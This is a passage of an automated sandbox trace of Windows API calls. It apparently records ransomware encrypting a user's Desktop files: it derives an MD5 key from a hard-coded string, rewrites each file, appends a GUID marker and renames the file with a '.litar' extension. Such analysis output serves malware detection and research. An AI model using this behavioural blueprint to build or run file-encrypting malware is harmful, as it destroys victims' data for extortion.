lpNumberOfBytesRead=0x398fb78*=0x6c5e, lpOverlapped=0x0) returned 1 [0126.424] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.424] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.424] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.424] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0410) returned 1 [0126.425] CryptCreateHash (in: hProv=0x6a0410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.425] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.425] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.425] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.425] GetLastError () returned 0x0 [0126.425] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.425] CryptReleaseContext (hProv=0x6a0410, dwFlags=0x0) returned 1 [0126.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6c60) returned 0x30fa0b0 [0126.426] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.426] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x6c59, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x6c59, lpOverlapped=0x0) returned 1 [0126.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.426] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6c5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.426] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.426] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.426] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.426] CloseHandle (hObject=0x624) returned 1 [0126.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0126.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.427] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\6ften7Ta9q8fR_DlLE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\6ften7ta9q8fr_dlle.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\6ften7Ta9q8fR_DlLE.mp4.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\6ften7ta9q8fr_dlle.mp4.litar")) returned 1 [0126.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.428] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.429] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830127b0, ftCreationTime.dwHighDateTime=0x1d4d002, ftLastAccessTime.dwLowDateTime=0x68fb5290, ftLastAccessTime.dwHighDateTime=0x1d4d553, ftLastWriteTime.dwLowDateTime=0x68fb5290, ftLastWriteTime.dwHighDateTime=0x1d4d553, nFileSizeHigh=0x0, nFileSizeLow=0xcfba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8ndf-ek48BAm.jpg", cAlternateFileName="8NDF-E~1.JPG")) returned 1 [0126.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.429] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.429] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.429] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\8ndf-ek48BAm.jpg") returned=".jpg" [0126.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\8ndf-ek48BAm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\8ndf-ek48bam.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.430] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=53178) returned 1 [0126.430] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.431] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xcf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.432] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.433] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.433] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xcfba, lpOverlapped=0x0) returned 1 [0126.434] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.434] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.434] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.434] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0410) returned 1 [0126.436] CryptCreateHash (in: hProv=0x6a0410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.436] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.436] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.436] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.436] GetLastError () returned 0x0 [0126.436] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.436] CryptReleaseContext (hProv=0x6a0410, dwFlags=0x0) returned 1 [0126.436] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xcfc0) returned 0x30fa0b0 [0126.436] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.436] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.436] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xcfb5, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xcfb5, lpOverlapped=0x0) returned 1 [0126.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.437] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xcfba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.437] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.437] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.437] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.437] CloseHandle (hObject=0x624) returned 1 [0126.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0126.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.438] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0126.438] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\8ndf-ek48BAm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\8ndf-ek48bam.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\8ndf-ek48BAm.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\8ndf-ek48bam.jpg.litar")) returned 1 [0126.439] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.439] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.440] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.440] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac4d90, ftCreationTime.dwHighDateTime=0x1d4cff1, ftLastAccessTime.dwLowDateTime=0xf3651aa0, ftLastAccessTime.dwHighDateTime=0x1d4ce97, ftLastWriteTime.dwLowDateTime=0xf3651aa0, ftLastWriteTime.dwHighDateTime=0x1d4ce97, nFileSizeHigh=0x0, nFileSizeLow=0x784e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PkQ0fGsu5.csv", cAlternateFileName="PKQ0FG~1.CSV")) returned 1 [0126.440] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.440] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.440] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.440] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\PkQ0fGsu5.csv") returned=".csv" [0126.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\PkQ0fGsu5.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\pkq0fgsu5.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.440] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=30798) returned 1 [0126.440] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.442] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7828, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.442] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.443] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.443] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x784e, lpOverlapped=0x0) returned 1 [0126.444] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.444] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.444] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.444] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0410) returned 1 [0126.445] CryptCreateHash (in: hProv=0x6a0410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.445] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.445] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.445] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.445] GetLastError () returned 0x0 [0126.445] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.445] CryptReleaseContext (hProv=0x6a0410, dwFlags=0x0) returned 1 [0126.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7850) returned 0x30fa0b0 [0126.445] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.445] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x7849, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x7849, lpOverlapped=0x0) returned 1 [0126.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.446] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x784e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.446] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.446] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.446] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.446] CloseHandle (hObject=0x624) returned 1 [0126.447] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0126.447] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0126.447] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\PkQ0fGsu5.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\pkq0fgsu5.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\PkQ0fGsu5.csv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\pkq0fgsu5.csv.litar")) returned 1 [0126.448] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.448] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.449] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2792a70, ftCreationTime.dwHighDateTime=0x1d4d0ae, ftLastAccessTime.dwLowDateTime=0x5130e610, ftLastAccessTime.dwHighDateTime=0x1d4d423, ftLastWriteTime.dwLowDateTime=0x5130e610, ftLastWriteTime.dwHighDateTime=0x1d4d423, nFileSizeHigh=0x0, nFileSizeLow=0x9087, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SGPp8BH7eiOdE.mp3", cAlternateFileName="SGPP8B~1.MP3")) returned 1 [0126.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.449] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\SGPp8BH7eiOdE.mp3") returned=".mp3" [0126.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\TB1FXyT70\\SGPp8BH7eiOdE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\tb1fxyt70\\sgpp8bh7eiode.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.449] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=36999) returned 1 [0126.449] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.451] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9061, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.451] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.452] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.452] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x9087, lpOverlapped=0x0) returned 1 [0126.453] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.453] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.453] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.453] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.453] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0410) returned 1 [0126.454] CryptCreateHash (in: hProv=0x6a0410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.454] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.454] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.454] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, 